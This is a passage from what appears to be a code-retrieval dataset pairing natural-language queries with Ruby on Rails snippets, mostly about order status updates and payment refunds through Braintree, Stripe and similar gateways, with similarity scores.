"def check_order_status(id)\n @order = Order.find_by_id(id)\n\n incomplete = 0\n @order.order_items.each do |item|\n if item.ship_status == false\n incomplete += 1\n end\n end\n\n if incomplete == 0\n @order.status = 'complete'\n @order.save\n else\n @order.status = 'paid'\n @order.save\n end\n return @order\n end",
"def making_status_update\n order_detail = OrderDetail.find(params[:id])\n order_detail.update(order_detail_params)\n redirect_to admin_order_path(order_detail.order_id)\n end",
"def orderStatusEdit()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n o = Order.find(params[:id])\n status = o.update(order_status: params[:status])\n render json: {status: status, data: \"\", reason: ''}\n end",
"def update\n if @order.update_attributes(object_params)\n persist_user_address\n\n unless @order.next\n flash[:error] = @order.errors.full_messages.join(\"\\n\")\n redirect_to checkout_state_path(@order.state) and return\n end\n\n if @order.completed?\n session[:order_id] = nil\n flash.notice = Spree.t(:order_processed_successfully)\n flash[:commerce_tracking] = \"nothing special\"\n redirect_to completion_route\n else\n\n #ajax delivery update\n if params[:remote]\n render :partial => 'delivery_order_summary', :locals => { :order => @order }\n else \n redirect_to checkout_state_path(@order.state)\n end\n\n end\n else\n render :edit\n end\n end",
"def complete\n self.update_attribute('state', 'complete')\n end",
"def edit_existing(order)\n @data.order = order\n @data.user = User.with_id(order.order_user_id)\n\n order_common(false)\n end",
"def update\n @order = Order.find(params[:id])\n if @order.update_attributes(params[:order])\n #update_manufacture_flag\n flash.notice = t('order.update')\n redirect_to orders_path\n else\n render :action => \"edit\"\n end\n\n end",
"def order_status\n unless order.draft?\n errors.add(:order_status, 'An line_item can only be edited while in the DRAFT status')\n end\n end",
"def ship_order\n self.update_attributes(status: 2)\n end",
"def complete!\n self.completed = true\n self.completed_at = Time.now.utc\n save! # TODO: With a bang?\n end",
"def update\n if @order.single?\n if( (Time.now + 1.hour <= Time.parse(@order.place_date + ' ' + @order.timeslot.start)) && (!@order.completed? ) && @order.update(update_order_params) )\n render json: @order, status: 200\n else\n render json: {'errorrs': ['Order can not be updated']}, status: :unprocessable_entity\n end\n else\n if(@order.update(update_order_params))\n render json: @order, status: 200\n else\n render json: {'errorrs': ['Order can not be updated']}, status: :unprocessable_entity\n end\n end\n end",
"def order_complete\n load_order\n if @order.packed_at.blank? && (@current_retailer && @current_retailer.id == @order.retailer_id)\n \t@order.update_attribute(:packed_at, Time.now)\n end\n redirect_to admin_order_url(@order)\n end",
"def set_complete\n @complete = Complete.find(params[:id])\n end",
"def complete!(status)\n fail(AlreadyCompleteError) if complete?\n\n update!(\n completed_at: Time.now.utc,\n completion_status: status\n )\n end",
"def update_customer_details\n\n # Make the order in final state to add specific validations\n @order.is_final\n \n if @order.update_attributes(params[:order])\n redirect_to confirm_order_path(@order)\n else\n render :edit_customer_details\n end\n end",
"def edit\n #similar to the NEW action, but instead of create a empty order, we will find a order\n # by its id and than send only the STATUS to the partial form, so it can be edited.\n #@order variable will be used in the partial form, when submitted goes to UPDATE action.\n @order = Order.find(params[:id])\n end",
"def order_complete\n @order = Order.find(params[:id])\n if current_user\n redirect_to client_order_path(@order)\n else\n @order.build_user\n @order.user.build_business_card\n @order.user.build_business_card.locales.build(:locale=>I18n.locale)\n render :layout=>\"client/event\"\n end\n end",
"def update_order\n if @order.update_with_params(params, permitted_checkout_attributes)\n if @order.next\n if @order.completed?\n cur_order = nil\n else\n @error = @order.errors.full_messages.join(\"\\n\")\n end\n end\n else\n message = []\n @order.errors.each do |key, msg|\n message.push(\"#{key.to_s.gsub('.', ' ').humanize} #{msg}\")\n end\n @error = message.join(\"\\n\")\n end\n\n render json: {\n status: !@error.present?,\n error: @error,\n state: @order.present? ? @order.state : '',\n has_order: cur_order.present?,\n has_failed: params[:failed_id].present?,\n failed_id: params[:failed_id]\n }\n end",
"def update\n @breadcrumb = 'update'\n @order_status = OrderStatus.find(params[:id])\n @order_status.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @order_status.update_attributes(params[:order_status])\n format.html { redirect_to @order_status,\n notice: (crud_notice('updated', @order_status) + \"#{undo_link(@order_status)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ready\n order = current_user.restaurant.orders.find(params[:id])\n order.update(status: 4)\n render json: {is_success: true}, status: :ok\n end",
"def update_status\n @completed_status = !completed_status\n puts \"#{description} Completed\"\n end",
"def set_complete(name)\n\t\tif index = find_index(name)\n\t\t\ttodo_items[index].set_complete!\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"def edit\r\n @order = current_order(true)\r\n end",
"def mark_as_completed\n completed_at.nil? ? self.completed = true : errors.add(:completed, '- This task has already been completed!')\n end",
"def mark_state_complete!\n get[state.to_s] = :complete\n end",
"def complete!(**options)\n update(status: 'completed', conclusion: 'success', completed_at: Time.now, **options)\n end",
"def update\n if @order.update_attributes(object_params)\n fire_event('spree.checkout.update')\n\n unless apply_coupon_code\n respond_with(@order) { |format| format.html { render :edit } }\n return\n end\n\n # Add Klarna invoice cost\n @order.add_klarna_fee!\n # Remove Klarna invoice cost\n @order.remove_klarna_fee!\n\n if @order.next\n # FIXME not working\n # state_callback(:after)\n # fix require recheck\n session[:order_id] = nil if @order.completed?\n else\n flash[:error] = @order.get_error # Changed by Noc\n respond_with(@order, location: checkout_state_path(@order.state))\n return\n end\n\n if @order.state == 'complete' || @order.completed?\n flash.notice = Spree.t(:order_processed_successfully)\n flash[:commerce_tracking] = 'nothing special'\n respond_with(@order, location: completion_route)\n else\n respond_with(@order, location: checkout_state_path(@order.state))\n end\n else\n respond_with(@order) { |format| format.html { render :edit } }\n end\n end",
"def complete_order\n @tire_listing = TireListing.find(params[:tire_listing_id])\n\n if !@tire_listing.can_do_ecomm?\n redirect_to @tire_listing, notice: \"Those tires are not eligible for online purchase.\"\n end\n\n @ar_months = Date::MONTHNAMES.each_with_index.collect{|m, i| [m, i.to_s.rjust(2, '0')]}\n @ar_years = [*Date.today.year..Date.today.year + 8]\n\n @qty = params[:qty].to_i\n @order = Order.new(:tire_listing_id => @tire_listing.id, :tire_quantity => @qty)\n @order.status = order_status_array[:created]\n @order.calculate_total_order\n @order.buyer_email = @order.buyer_name = @order.buyer_address1 = @order.buyer_city = @order.buyer_state = @order.buyer_zip = \"unknown\" # to prevent null error\n initialize_order\n @order.save\n end",
"def mark_complete(db, complete, name)\n\tcomplete = \"complete\"\n\tdb.execute(\"UPDATE upper_body SET complete=? WHERE name=?\", [complete, name])\n\tdb.execute(\"UPDATE lower_body SET complete=? WHERE name=?\", [complete, name])\n\tputs \"set #{name} to complete\"\nend",
"def setCompleted(completed)\r\n\t\t\t\t\t@completed = completed\r\n\t\t\t\tend",
"def setCompleted(completed)\r\n\t\t\t\t\t@completed = completed\r\n\t\t\t\tend",
"def update_order_status\n carts = Cart.where(:order_id => self.id)\n order_complete = true\n\n #go through the cart to check state of carts\n carts.each do |cart|\n if cart.status != 5 then\n order_complete = false\n break\n end \n end\n\n if order_complete then\n self.update_attribute( :status, 3) \n end\n\n return order_complete\n end",
"def fill\n respond_to do |format|\n if @order.update_attributes(order_status_id: 2)\n if session[:showing_user]\n format.html { redirect_to @order.user, notice: t('orders.fill') } # \"Order was successfully filled.\"\n format.json { head :no_content }\n else\n format.html { redirect_to orders_path, notice: t('orders.fill') } # \"Order was successfully filled.\"\n format.json { head :no_content }\n end\n else\n if session[:showing_user]\n format.html { redirect_to @order.user, notice: t('orders.fill_error') } # \"Error filling order.\"\n format.json { render json: @order.errors, status: :unprocessable_entity }\n else\n format.html { redirect_to orders_path, notice: t('orders.fill_error') } # \"Error filling order.\"\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n respond_to do |format|\n if @order.update_attributes(order_params.except!(:order_status_detail,:order_detail))\n if order_params[:order_detail].present?\n OrderDetail.process_order_details(@order,order_params[:order_detail])\n end\n OrderStatusDetail.change_order_status(@order, order_params[:order_status_detail])\n format.html { redirect_to @order, notice: 'Orden actualizada exitosamente.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n @v1_order = V1::Order.find(params[:id])\n\n case @v1_order.state\n when 0\n if @v1_order.update(v1_order_params)\n head :no_content\n else\n render json: @v1_order.errors, status: :unprocessable_entity\n end\n else\n render json: {message: 'Can be edited only when in draft(0) state'}, status: 400\n end\n \n end",
"def update\n respond_to do |format|\n unless @order.to_subclass.locked\n if @order.update(order_params)\n format.html { redirect_to orders_basket_path, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n else\n format.html { render :show, alert: 'You cannot update a locked order' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @order.completed?\n process_and_add_store_credit(@order)\n end\n\n return orig_update\n end",
"def update_done\n self.done = true if COMPLETE_STATUSES.include? self.detailed_status\n end",
"def update\n @loaded_order = @order.loaded_order\n\n respond_to do |format|\n if @loaded_order.update_attributes(params[:loaded_order])\n format.html { redirect_to(@order, :notice => 'Loading details successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @loaded_order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!\n update_totals\n update_payment_state\n # update_adjustments\n # update totals a second time in case updated adjustments have an effect on the total\n update_totals\n \n update_attributes_without_callbacks({\n :state => \"complete\"\n }) \n \n logger.info 'UPDATED ORDER'\n # update_hooks.each { |hook| self.send hook }\n end",
"def approved\n if @order && params[:ref1] == @order.id.to_s\n @order.paid_on = Time.now\n\n # Save transaction data\n @order.transaction_data = params.to_yaml\n \n # Saving cookbook data\n if !@order.is_reorder?\n @order.order_color_pages = @cookbook.num_color_pages\n @order.order_bw_pages = @cookbook.num_bw_pages\n @order.cookbook_title = @cookbook.title\n @order.book_binding = @cookbook.book_binding.name\n end\n @order.order_printing_cost = @order.printing_cost\n @order.order_shipping_cost = @order.shipping_cost\n\n @order.save!\n @order.user.increment!(:paid_orders_count)\n \n # Send email notifications to user and operators\n if @order.is_reorder?\n AdministrativeMailer.delay.reorder_submitted(@order)\n AccountMailer.delay.reorder_receipt(current_user, @order, params[:trnAmount])\n AdministrativeMailer.delay.hume_reorder_request(@order)\n else\n AdministrativeMailer.delay.order_submitted(@order)\n AccountMailer.delay.order_receipt(current_user, @order, params[:trnAmount])\n end\n flash[:notice] = \"Thank you! Your order was completed successfully.\"\n \n # Lock the cookbook\n @order.cookbook.update_attribute(:is_locked_for_printing, true) unless @order.is_reorder?\n else\n redirect_to confirm_order_path(@order), alert: \"There was an error processing your order. Please confirm your information and try again.\"\n end\n end",
"def complete_order_step(order, order_step)\n original_state = order.state\n order.state = order_step\n\n if !order.next\n order.state = original_state\n order.save(validate: false) # store data from paypal. user will be redirect to 'personal' tab\n end\n end",
"def approve\n order = current_user.restaurant.orders.find(params[:id])\n order.update(status: 1)\n render json: {is_success: true}, status: :ok\n end",
"def update_completed\n uncompleted_items = todo_list_items.select { |e| !e.completed? }\n update(completed: true) if uncompleted_items.zero?\n end",
"def mark_as(status)\n self.status = status\n self.save\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n persist_order_address\n format.html { redirect_to [:admin, @order], notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def mark_as_done!\n @status = :finished\n end",
"def order_status_changed(order)\n @order_callbacks.each do |c|\n c.call(order)\n end\n end",
"def update\n @order_detail = OrderDetail.find(params[:id])\n @order = Order.find(@order_detail.order_id)\n if params[:order_detail][:production_status] == \"in_production\"\n @order.order_status = \"in_production\"\n @order.save\n end\n if @order_detail.update(order_detail_params)\n count_production_completed = 0\n @order.order_details.each do |order_detail|\n if order_detail.production_status == \"production_completed\"\n count_production_completed += 1\n end\n end\n if @order.order_details.count == count_production_completed\n @order.order_status = \"preparing_for_shipping\"\n @order.save\n end\n redirect_to admin_order_path(@order)\n else\n redirect_to admin_order_path(@order)\n end\n end",
"def mark_complete\n if self.completed\n self.progress = \"COMP\"\n self.progress_percentage = \"100\"\n elsif self.progress and !self.progress.eql?('COMP') and self.progress_percentage\n self.progress = self.progress\n self.progress_percentage = self.progress_percentage\n else\n self.progress = \"INPR\"\n self.progress_percentage = \"0\"\n end\n end",
"def completed(order)\n @order = order\n\n mail :to => order.billing_address.email\n end",
"def set_completed\n @completed = Completed.find(params[:id])\n end",
"def set_cdg_order_status\n @cdg_order_status = CdgOrderStatus.find(params[:id])\n end",
"def update\n @order = current_order\n if @order.may_add?\n @order_item = @order.order_items.find(params[:id])\n @order_item.update_attributes(order_item_params)\n @order_items = @order.order_items\n end\n end",
"def update\n if get_food_order_params_update == true\n @foods = Food.all.order(:name)\n @order = Order.new(order_params)\n flash[:error] = \"Debe agregar por lo menos un plato\"\n render :new\n else\n if order_params.to_h[\"status\"] != \"Cancelado\"\n @food_order = get_food_order_params\n @food_order.each{ |food_order| @order.food_orders.build(food_order)}\n end\n\n respond_to do |format|\n if @order.update(order_params)\n if @order.status == \"Cancelado\"\n flash[:error] = 'La orden ' + @order.id.to_s + ' fue cancelada'\n else\n flash[:success] = 'La orden ' + @order.id.to_s + ' fue actualizada satisfactoriamente'\n end\n format.html { redirect_to action: \"index\"}\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def finish\n @order.finish\n render_update @order\n end",
"def update\n\t\t@admin_order = Admin::Order.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @admin_order.update_attributes(order_params)\n\t\t\t\tif params[:order_update].present?\n\t\t\t\t\tformat.html { redirect_to edit_admin_order_path(@admin_order), notice: 'Pedido atualizado com sucesso.'}\n\t\t\t\telse\n\t\t\t\t\tformat.html { redirect_to @admin_order, notice: 'Pedido atualizado com sucesso.' }\n\t\t\t\t\tformat.json { head :no_content }\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @admin_order.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def complete\n @todo_item.update_attribute(:completed_at, Time.now)\n redirect_to @todo_list, notice: \"Todo item completed\"\n end",
"def mark_complete\n self.recorded_on ||= Date.today\n self.update_column(:cleared_on, Date.today)\n if self.lender\n self.lender.calculate_days_to_complete!\n end\n\t\tunless self.job.open_products.where.not(id: self.id).count > 0\n\t\t\tself.job.mark_complete! if self.job.can_mark_complete?\n\t\tend\n\tend",
"def edit \n @order = current_order || Order.incomplete.\n includes(line_items: [variant: [:images, :option_values, :product]]).\n find_or_initialize_by(guest_token: cookies.signed[:guest_token])\n @order.save! unless @order.id\n puts \"\\n\\n\\n edit guest_token=[#{cookies.signed[:guest_token]}] order=[#{@order.to_json}] \\n\\n\\n\"\n associate_user \n\n @order.assign_default_addresses!\n puts \"\\n\\n\\n\\n edit assign_default_addresses good bill_address=[#{@order.bill_address}]\\n\\n\\n\\n\";\n @order.bill_address = User.find(1).bill_address.try(:clone) unless @order.bill_address\n puts \"\\n\\n\\n\\n edit bill_address good\\n\\n\\n\\n\";\n \n \n # if @order.next\n # puts \"\\n\\n\\n\\n edit order next good\\n\\n\\n\\n\";\n\n # else\n # puts \"\\n\\n\\n\\n edit order next bad\\n\\n\\n\\n\";\n # end\n \n # @order.create_proposed_shipments \n # @order.refresh_shipment_rates\n # @order.set_shipments_cost\n # @order.apply_free_shipping_promotions\n\n if (@order[:state] == 'cart')\n if @order.next\n puts \"\\n\\n\\n\\n edit order next cart good\\n\\n\\n\\n\";\n else\n puts \"\\n\\n\\n\\n edit order next cart bad\\n\\n\\n\\n\";\n end\n else\n puts \"\\n\\n\\n\\n edit order state not eq cart\\n\\n\\n\\n\";\n end \n @order.ship_address = User.find(1).ship_address.try(:clone) unless @order.ship_address\n # @updating_params = {order: { bill_address_attributes: [{city: \"Kriviy Rih\", country_id: 229, state_id: 2975, zipcode: \"50015\"} ] } }\n \n # \n @order.shipments = Spree::Stock::Coordinator.new(@order).shipments unless @order.shipments&.count > 0\n @order.refresh_shipment_rates\n @order.set_shipments_cost\n @order.apply_free_shipping_promotions\n @order.available_payment_methods\n # @updating_params ||= {}\n # @updating_params[:order] ||= {bill_address_attributes:[{city: \"Kriviy Rih\", country_id: 229, state_id: 2975, zipcode: \"50015\"}]}\n # @updating_params[:order][:bill_address_attributes] ||= [{}]\n # @updating_params[:order][:bill_address_attributes].first[:city] = \"Kriviy Rih\"\n # @updating_params[:order][:bill_address_attributes].first[:country_id] = \"229\"\n # @updating_params[:order][:bill_address_attributes].first[:state_id] = \"2975\"\n # @updating_params[:order][:bill_address_attributes].first[:zipcode] = \"50015\"\n # if @order.update_from_params(@updating_params, permitted_checkout_attributes, request.headers.env)\n\n # end\n # @order.bill_address = user.bill_address.try(:clone)\n # @order.create_proposed_shipments \n # @order.refresh_shipment_rates\n # @order.set_shipments_cost\n # @order.apply_free_shipping_promotions\n puts \"\\n\\n\\n edit shipments=[\"+@order.shipments.to_json+\"]\\n\\n\\n\\n\"\n puts \"\\n\\n\\n edit shipment_total=[\"+@order.shipment_total.to_json+\"]\\n\\n\\n\\n\"\n # puts \"\\n\\n\\n edit client_store_ref_path=[#{client_store_ref_path}] \\n\\n\\n\"\n # puts \"\\n\\n\\n edit packages=[\"+Spree::Stock::Coordinator.packages.to_json+\"]\\n\\n\\n\\n\"\n # flash[:error] = \"order1112=[\"+@order.to_json+\"]\\n\\n available_payment_methods=[\"+@order.available_payment_methods.to_json+\"]\"\n end",
"def cancel_order\n if self.status.downcase == \"pending\"\n self.status = \"Canceled\"\n self.save\n self\n else \n \"Error in Order Model\"\n end\n end",
"def complete(to_do_item)\n response = to_do_item\n response[:complete] = true\n response\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n set_groups\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_order_item\n \n end",
"def update\n @order = Order.find(params[:id])\n sns = params[:order][:serial_numbers_attributes] || {}\n @order.editing = true\n @client = Client.find_by_id(@order.client_id)\n @bill = Bill.find_by_id((@order.bill_id))\n @render = \"#{@order.product_type.downcase}_fields\"\n @product = @order.product_type.downcase.pluralize\n respond_to do |format|\n if @order.update_attributes(params[:order])\n total_due = 0\n @order.parts.each do |part|\n total_due = part.cost + total_due\n end\n @order.client_needs.each do |client_need|\n total_due = client_need.cost + total_due\n end\n @order.update_attribute(:total_due, total_due)\n Progress.create(:short_description => @order.short_description, :full_description => @order.full_description, :user_id => current_user.id, :order_id => @order.id, :branch_id => @order.branch_id) \n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @is_incomplete = args[:is_incomplete] if args.key?(:is_incomplete)\n end",
"def toggle_completed\n update completed: !completed\n completed\n end",
"def update\n op = object_params\n if op && op[:payments_attributes]\n @order.payments.where('spree_payments.state = \"checkout\"').destroy_all\n end\n # binding.pry\n if @order.update_attributes(op)\n\n fire_event('spree.checkout.update')\n\n if @order.next\n state_callback(:after)\n else\n flash[:error] = t(:payment_processing_failed)\n respond_with(@order, :location => hto_checkout_state_path(@order.state))\n return\n end\n\n if @order.state == 'complete' || @order.completed?\n flash.notice = t(:order_processed_successfully)\n flash[:commerce_tracking] = 'nothing special'\n respond_with(@order, :location => completion_route)\n else\n respond_with(@order, :location => hto_checkout_state_path(@order.state))\n end\n else\n respond_with(@order) { |format| format.html { render :edit } }\n end\n end",
"def order_update_params\n params.require(:order).permit(:update_flag)\n end",
"def mark_as_done(todo)\n @data_object.aff_to_do &= ~todo\n end"
] |
[
"0.726247",
"0.7044821",
"0.6929145",
"0.6689185",
"0.66368777",
"0.65484715",
"0.6458082",
"0.64566225",
"0.643651",
"0.6435009",
"0.6430113",
"0.6428273",
"0.64060324",
"0.6393137",
"0.6351694",
"0.63497895",
"0.62927586",
"0.6283625",
"0.62684315",
"0.6243773",
"0.6242605",
"0.6238647",
"0.6229277",
"0.62092584",
"0.6204252",
"0.62015486",
"0.618629",
"0.61749846",
"0.61633116",
"0.61594474",
"0.6131681",
"0.6107167",
"0.6100057",
"0.6097687",
"0.6081142",
"0.6080876",
"0.6069361",
"0.6062092",
"0.60233355",
"0.59899706",
"0.59825677",
"0.5958553",
"0.59392715",
"0.59191185",
"0.59142846",
"0.58983433",
"0.58796906",
"0.5877313",
"0.58732873",
"0.58700484",
"0.58641905",
"0.58494496",
"0.58429754",
"0.583092",
"0.5826683",
"0.5818148",
"0.581705",
"0.5815096",
"0.5811523",
"0.5805485",
"0.5805485",
"0.58022577",
"0.5791142",
"0.579058",
"0.5786656",
"0.5778464",
"0.576252",
"0.5762007",
"0.57551533",
"0.5754077",
"0.5750066",
"0.574605",
"0.5745225",
"0.5733734",
"0.5732085",
"0.5731477",
"0.57288224",
"0.5728091",
"0.5726699",
"0.5718732",
"0.56969255",
"0.5693692",
"0.568495",
"0.56788605",
"0.56775737",
"0.5663359",
"0.5658761",
"0.5658522",
"0.5651336",
"0.5650683",
"0.5649508",
"0.56488526",
"0.5648746",
"0.56472754",
"0.5626544",
"0.5622783",
"0.56224674",
"0.5622029",
"0.5613714",
"0.5601859"
] |
0.6996031
|
2
|
Refund an existing transaction & save it as a new select order transaction transaction => the transaction to refund or void
|
def braintree_refund_transaction transaction
if transaction and !transaction.is_refund and !transaction.superceded
# Attempt to refund the requested amount
if [:settled, :settling].include? transaction.status.to_sym
result = Braintree::Transaction.refund(transaction.transaction_id, amount)
elsif [:authorized, :submitted_for_settlement].include? transaction.status.to_sym
result = Braintree::Transaction.void(transaction.transaction_id)
else
# Cannot handle the current transaction state
return false
end
result_data = self.braintree_result_data result
if result_data[:transaction_id]
# Create the select order transaction row
t = Select::SelectOrderTransaction.create(
# Snappea data
user_id: user.id,
select_event_id: self.select_event.id,
select_order_id: self.id,
card_id: nil, # TODO
account_id: nil, # TODO
timestamp: Time.now,
amount: transaction.amount,
is_refund: true,
notes: transaction.notes,
# Braintree data
superceded: false,
customer_id: nil, # TODO
transaction_id: result_data[:transaction_id],
transaction_type: result_data[:transaction_type],
status: result_data[:status],
response: result_data[:response],
# Metadata
cc_last4: result_data[:cc_last4],
card_type: result_data[:card_type],
expiration_date: result_data[:expiration_date]
)
# Update the existing transaction by superceding it
transaction.update_attributes({
superceded: true,
notes: transaction.notes + "; Superceded by transaction: " + t.id.to_s
})
end
# Return true if successful
result.success?
else
# No such transaction id
false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def refund_order\n Stripe.api_key = ENV['STRIPE_SECRET_KEY']\n order = Commit.find(params[:order_id])\n charge = Stripe::Charge.retrieve(order.sale.stripe_charge_id, :stripe_account => order.product.wholesaler.stripe_id)\n begin\n refund = charge.refunds.create(:amount => charge.amount, :refund_application_fee => true)\n rescue => e\n return render :json => {\n success: false,\n error: e.message\n }\n end\n if !refund.nil?\n order.refunded = true\n order.sale_made = false\n product_sales = order.product.current_sales.to_f\n new_sales = order.full_price ? product_sales+order.amount.to_f*order.product.price.to_f : product_sales+order.amount.to_f*order.product.discount.to_f\n order.product.current_sales = new_sales\n order.save(validate: false)\n return render :json => {\n success: true,\n order: order,\n charge: charge,\n refund: refund\n }\n end\n end",
"def refund transaction\n transaction = Transaction.new transaction\n order_id = transaction.order_id.to_i\n transaction_id = transaction.transaction_id\n transaction_params = ActiveSupport::OrderedHash.new\n transaction_params['amount'] = transaction.amount.to_s\n transaction_params['currency'] = transaction.currency\n transaction_params['reference'] = transaction.reference.to_s\n params = ActiveSupport::OrderedHash.new\n params['apiOperation'] = 'REFUND'\n params['transaction'] = transaction_params\n\n request :put, \"/merchant/#{merchant_id}/order/#{order_id}/transaction/#{transaction_id}\", params\n end",
"def refund!\n if charged && !canceled\n transaction = Stripe::Charge.retrieve(trans_id)\n if transaction.refund\n update updated: true, canceled: true\n else\n raise result.errors\n end\n end\n end",
"def create_issue_refund\n @error = \"\"\n if params[:refund_amount].present?\n if params[:refund_amount].to_d > 0.0 && params[:refund_amount].to_d <= @trans.amount\n @refund_trans = Transaction.new(\n amount: params[:refund_amount].to_d, \n transaction_type: \"Payment\",\n status: \"Refunded\",\n from_account_id: current_user.account.id,\n to_account_id: @trans.from_account.id,\n transaction_from: \"User\",\n transaction_to: \"User\",\n kaenko_currency_id: @trans.kaenko_currency_id,\n status: \"Completed\" , \n user_id: current_user.id,\n transaction_from_id: current_user.id,\n transaction_to_id: @trans.transaction_from_id,\n parent_id: @trans.id\n \n )\n Transaction.transaction do\n if @refund_trans.save\n @account_balance = current_user.account.account_balances.where(\n \"kaenko_currency_id = ?\",\n @trans.kaenko_currency_id\n ).first\n @account_balance.update_attributes(balance: @account_balance.balance - params[:refund_amount].to_d)\n @trans.update_attributes(status: \"Refunded\")\n end\n end\n else\n @error = \"Please enter valid amount.\" \n end\n else\n @error = \"Please enter amount.\"\n end\n end",
"def refund(refund); end",
"def refund_order\n\t\t@order = Order.find(params[:order_id])\n\n\t\tif @order.refunded\n\t\t\trender :json => { :error => \"Order has already been refunded\" }\n\t\telse \n\t\t\tcharge = Stripe::Charge.retrieve(order.charge_id)\n\t\t\trefund = charge.refunds.create\n\t\t\trender :json => { :refunded => true, :refund_id => refund.id, :message => \"Order refunded successfully\" }\n\t\tend\n\n\tend",
"def stripe_refund\n return unless charge_id.present?\n Reservation.transaction do\n charge = Stripe::Charge.retrieve(charge_id)\n charge.refunds.create(amount: charge.amount, reverse_transfer: true)\n update_attributes(refunded: true, is_paid: false, billing_phase: :not_billed, charge_id: nil)\n end\n rescue Exception => e\n custom_params = { reservation_id: id, charge_id: charge_id, amount: charge.amount }\n Rollbar.error(e, 'Stripe refund failed', custom_params)\n end",
"def refund(money, identification, options = {})\n form = {}\n add_txn_id(form, identification)\n add_test_mode(form, options)\n commit(:refund, money, form)\n end",
"def refund_transaction\n data = full_params.merge(\n 'x_trans_id' => transaction_id,\n 'x_type' => \"REFUND\"\n )\n\n astro_curl(@validator_url, data)\n end",
"def refund(transaction_id, caller_reference, options = {})\n submit Refund.new(options.merge(:transaction_id => transaction_id, :caller_reference => caller_reference))\n end",
"def handle_refund\n if saved_change_to_state == %w(purchased refunded)\n refund = self.build_refund({\n payment_id: payment_id,\n state: :pending,\n })\n refund.save!\n seller.decrease_balance(payment.amount)\n end \n end",
"def refund!\n path = self.class.endpoint.gsub(':id', id.to_s) + '/refund'\n client.api_post(path)\n end",
"def refund(amount, trans_id = nil)\n params = {\n :command => :r,\n :trans_id => trans_id,\n :amount => amount\n }\n requires!(params, :command, :trans_id, :amount)\n commit(params)\n end",
"def generate_refund(transaction, amount = nil, options = {})\n raise ArgumentError, \"Invalid transaction state: #{transaction.state}\" if transaction.state != \"completed\"\n raise ArgumentError, \"Transaction is not belongs to the order\" if transaction.order != self\n\n refunds.create(options.merge(amount: amount || transaction.amount, transaction: transaction))\n\n cancel if state != 'wait_refund'\n\n true\n end",
"def refund!(amnt = nil)\n RefundRepository.new(api).create(token, amnt)\n end",
"def refund(money, authorization ,options={})\n post = {\n amount: money\n }\n\n add_reference(post, authorization)\n commit(:refund, post)\n end",
"def refund(money, identification, options = {})\n requires!(options, :card_number)\n\n post = { trans_id: identification,\n card_num: options[:card_number] }\n\n post[:first_name] = options[:first_name] if options[:first_name]\n post[:last_name] = options[:last_name] if options[:last_name]\n post[:zip] = options[:zip] if options[:zip]\n\n add_invoice(post, options)\n add_duplicate_window(post)\n\n commit('CREDIT', money, post)\n end",
"def refund *args\n warn_on_positional args\n\n options = args.last.is_a?(Hash) ? args.pop : {}\n amount = args[0] || options.fetch(:amount) { nil }\n description = args[1] || options.fetch(:description) { nil }\n\n refund = Refund.new(\n :uri => self.refunds_uri,\n :debit_uri => self.uri,\n :amount => amount,\n :description => description,\n )\n refund.save\n end",
"def refund(money, identification, options = {})\n parameters = extract_authorization(identification, {})\n\n commit('REFUND', money, parameters)\n end",
"def request_refund\n body = { action: \"refund\", key: @@access_key, gen_task_id: @task_id }\n post_request(body)\n end",
"def refund amount=nil, description=nil\n refund = Refund.new(\n :uri => self.refunds_uri,\n :debit_uri => self.uri,\n :amount => amount,\n :description => description,\n )\n refund.save\n end",
"def refund(money, authorization, options = {})\n requires!(@options, :advanced_login, :advanced_password)\n\n post = options.merge(TransNo: authorization)\n\n add_amount(post, money, options)\n add_advanced_user(post)\n add_standard_parameters('refund', post, options[:unique_id])\n add_tx_source(post, options)\n\n commit(post)\n end",
"def refund\n @order.refund_payment\n render 'status'\n end",
"def refund(money, card, transaction_id, options = {})\n if options[:refund_all].present?\n transaction { refund_all(transaction_id) }\n else\n transaction do\n refund_amount cent_amount: money,\n currency: options[:originator].payment.currency,\n transaction_id: transaction_id,\n reason: options[:originator].reason.name\n end\n end\n end",
"def refund(unique_id)\n request('payment/refund', {:refund => {:unique_id => unique_id}})\n end",
"def refund(amount: nil)\n api_request(\"/charges/#{id}/refund\", :post, amount: amount)\n end",
"def refund(params)\n request(Resources::RESOURCE_REFUND, HTTP_METHOD_POST, params)\n end",
"def do \n validate\n ZipMoney.api.refund(@params)\n end",
